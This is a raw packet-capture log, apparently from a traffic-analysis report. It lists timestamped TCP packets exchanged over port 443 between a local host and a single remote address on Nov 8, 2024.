                                                                                                                                          Nov 8, 2024 11:27:47.839533091 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.839665890 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.839665890 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.839761019 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.839761019 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.839766026 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.841417074 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.841428995 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.841578007 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.841578007 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.841586113 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.841671944 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.841722012 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.842411995 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.842421055 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.842542887 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.842542887 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.842669964 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.842669964 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.842674017 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.844433069 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.844444990 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.844566107 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.844572067 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.844614029 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.844614029 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.844711065 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.844773054 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.846050978 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.846060038 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.846220970 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.846263885 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.846267939 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.846313953 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.846365929 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.847271919 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.847284079 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.847321987 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.847327948 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.847424984 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.847424984 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.847505093 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.847551107 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.848817110 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.848828077 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.849013090 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.849013090 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.849021912 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.849096060 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.849196911 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.850632906 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.850645065 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.850758076 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.850758076 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.850856066 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.850903988 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.850903988 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.850909948 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.852461100 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.852474928 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.852626085 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.852626085 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.852637053 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.852781057 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.853483915 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.853494883 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.853634119 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.853647947 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.853647947 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.853653908 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.853718996 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.853785992 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.855400085 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.855408907 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.855603933 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.855603933 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.855611086 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.855680943 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.855751991 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.866710901 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.030636072 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.030695915 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.030836105 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.030837059 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.030848980 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.030900955 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.030926943 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.030950069 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.031033993 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.031641960 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.031697035 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.031816006 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.031816006 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.031847000 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.031863928 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.031965971 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.033759117 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.033801079 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.033940077 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.033970118 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.033994913 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.033994913 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.034096003 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.034729004 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.034781933 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.034909010 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.034909964 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.034938097 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.035012007 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.035057068 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.035778999 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.035864115 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.035994053 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.035994053 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.036032915 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.036221027 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.040865898 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.041079044 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.041079044 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.041136980 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.041161060 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.041178942 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.041371107 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.041874886 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.041949987 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.042073011 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.042073011 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.042191982 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.042224884 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.042417049 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.043448925 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.043503046 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.043683052 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.043737888 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.043767929 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.043946981 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.044481039 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.044531107 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.044663906 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.044725895 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.044725895 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.044751883 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.044924974 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.046134949 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.046190023 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.046322107 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.046322107 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.046417952 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.046442032 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.046618938 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.047221899 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.047275066 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.047398090 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.047506094 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.047529936 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.047703028 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.048719883 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.048773050 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.048887968 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.048887968 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.048933983 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.048959970 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.048981905 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.049051046 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.049141884 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.050008059 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.050061941 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.050177097 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.050275087 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.050302029 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.050322056 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.050468922 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.051892042 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.051938057 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.052069902 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.052159071 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.052180052 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.052337885 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.053534985 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.053580999 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.053720951 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.053720951 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.053783894 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.053813934 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.053833008 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.053863049 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.053971052 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.054456949 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.054508924 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.054668903 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.054697037 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.054744005 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.056107044 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.056176901 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.056286097 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.056313038 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.056328058 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.056396961 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.056396961 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.057112932 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.057162046 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.057269096 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.057300091 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.057331085 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.057382107 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.058629036 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.058669090 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.058789015 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.058815002 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.058855057 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.058855057 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.058948994 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.060044050 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.060087919 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.060262918 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.060287952 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.060333014 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.061433077 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.061482906 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.061613083 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.061639071 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.061655045 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.061713934 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.061713934 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.062612057 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.062650919 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.062794924 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.062822104 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.062843084 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.062910080 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.063688993 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.063738108 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.063860893 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.063860893 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.063889027 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.063966036 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.064004898 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.065198898 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.065237999 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.065368891 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.065395117 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.065421104 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.065421104 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.065516949 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.066577911 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.066627026 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.066749096 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.066772938 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.066796064 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.066796064 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.066893101 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.066893101 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.067934990 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.067996025 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.068099022 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.068126917 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.068224907 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.069072008 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.069120884 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.069228888 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.069252968 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.069274902 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.069274902 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.069325924 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.069371939 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.070800066 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.070839882 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.070971966 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.071084023 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.071100950 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.072232008 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.072295904 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.072422028 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.072422028 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.072459936 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.072483063 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.072483063 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.072483063 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.073445082 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.073486090 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.073622942 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.073651075 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.073673010 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.073673010 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.073769093 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.074913025 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.074964046 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.075082064 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.075109959 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.075206995 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.076302052 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.076348066 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.076484919 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.076484919 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.076514006 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.076636076 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.076636076 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.077580929 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.077642918 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.077775002 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.077775955 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.077815056 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.077884912 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.078846931 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.078886986 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.079009056 CET49729443192.168.11.20104.21.86.219
